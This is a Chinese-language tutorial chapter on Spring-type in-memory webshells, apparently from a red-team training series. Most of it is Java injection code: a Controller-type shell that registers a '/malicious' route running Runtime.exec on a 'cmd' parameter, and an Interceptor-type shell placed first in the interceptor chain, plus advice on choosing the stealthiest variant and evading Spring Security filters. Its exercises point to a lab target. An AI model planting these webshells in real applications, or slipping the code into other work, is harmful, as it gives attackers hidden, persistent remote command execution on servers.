内存马 - 03 Spring型内存马

现代 Java Web 应用大多基于 Spring Boot,理解 Spring 型内存马是实战必备

Spring MVC 请求处理流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
请求到达

DispatcherServlet.doDispatch()

HandlerMapping.getHandler() ← Controller 型内存马的注入点

HandlerInterceptor.preHandle() ← Interceptor 型内存马的注入点

HandlerAdapter.handle()

Controller 方法执行

HandlerInterceptor.postHandle()

视图渲染

HandlerInterceptor.afterCompletion()

响应返回

获取 WebApplicationContext

方式1:从 ContextLoader 获取

1
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

方式2:从 ServletContext 属性获取

1
2
WebApplicationContext context = WebApplicationContextUtils
.getWebApplicationContext(servletContext);

方式3:从请求属性获取

1
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(request);

方式4:从线程中获取(无 request 场景)

1
2
3
4
5
6
7
// 利用 LiveBeansView
Field field = LiveBeansView.class.getDeclaredField("applicationContexts");
field.setAccessible(true);
Set<ApplicationContext> contexts =
(Set<ApplicationContext>) field.get(null);
WebApplicationContext context =
(WebApplicationContext) contexts.iterator().next();

Controller 型内存马

动态注册一个 Controller 的 RequestMapping,将恶意逻辑映射到指定 URL

核心组件

RequestMappingHandlerMapping:管理所有 @RequestMapping 的映射关系

RequestMappingInfo:描述一个映射的信息(URL、方法、参数等)

注入代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// 1. 获取 WebApplicationContext
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(request);

// 2. 获取 RequestMappingHandlerMapping
RequestMappingHandlerMapping mappingHandler = context.getBean(
RequestMappingHandlerMapping.class);

// 3. 构造 RequestMappingInfo
RequestMappingInfo mappingInfo = RequestMappingInfo
.paths("/malicious")
.methods(RequestMethod.GET, RequestMethod.POST)
.build();

// 4. 创建恶意 Controller
class EvilController {
public ResponseEntity<String> handle(HttpServletRequest request) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
// ... 读取输出
return ResponseEntity.ok(output);
}
return ResponseEntity.notFound().build();
}
}

// 5. 注册映射
EvilController controller = new EvilController();
Method handleMethod = controller.getClass().getMethod(
"handle", HttpServletRequest.class);
mappingHandler.registerMapping(mappingInfo, controller, handleMethod);

注意事项

registerMapping 在 Spring 4.0+ 才可用

注册的 URL 不能与已有 URL 冲突,否则会抛异常

可以用 unregisterMapping 卸载

Interceptor 型内存马

向 Spring MVC 的拦截器链中添加恶意拦截器,拦截所有请求

与 Servlet Filter 的区别

维度 Servlet Filter Spring Interceptor
规范 Servlet 规范 Spring MVC 框架
范围 所有请求 仅 DispatcherServlet 处理的请求
可访问 ServletRequest HttpServletRequest + Handler
注入方式 操作 StandardContext 操作 HandlerMapping

注入代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 1. 获取 RequestMappingHandlerMapping
RequestMappingHandlerMapping mappingHandler = context.getBean(
RequestMappingHandlerMapping.class);

// 2. 获取 adaptedInterceptors 字段
Field adaptedInterceptorsField = AbstractHandlerMapping.class
.getDeclaredField("adaptedInterceptors");
adaptedInterceptorsField.setAccessible(true);
List<HandlerInterceptor> interceptors =
(List<HandlerInterceptor>) adaptedInterceptorsField.get(mappingHandler);

// 3. 创建恶意 Interceptor
HandlerInterceptor evilInterceptor = new HandlerInterceptor() {
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
// ... 读取输出并写入 response
return false; // 不再继续处理
}
return true; // 正常请求放行
}
};

// 4. 添加到拦截器列表(添加到第一个位置)
interceptors.add(0, evilInterceptor);

Interceptor 型的优势

  1. 不需要操作 Tomcat 的 StandardContext,纯 Spring 层面
  2. 代码更简洁
  3. 在 Spring Security 的 Filter 之后执行,不会触发安全过滤

实战中的选择

1
2
3
4
5
6
是否是 Spring 应用?
├── 否 → 使用 Servlet 型(Filter/Servlet/Listener)
└── 是
├── 需要隐蔽 → Interceptor 型(无新 URL)
├── 需要简单 → Controller 型(代码最少)
└── 需要兼容 → Filter 型(通用,不依赖 Spring 版本)

练习

  1. 在 Spring Boot 靶场中注入一个 Controller 型内存马
  2. 注入一个 Interceptor 型内存马,对比与 Filter 型的区别
  3. 使用 /actuator/mappings(如果开启)查看注入后的路由变化
  4. 思考:Spring Security 环境下,哪种内存马最适合?

上一章 目录 下一章
02.5-Valve与WebSocket型 内存马 04-Agent型内存马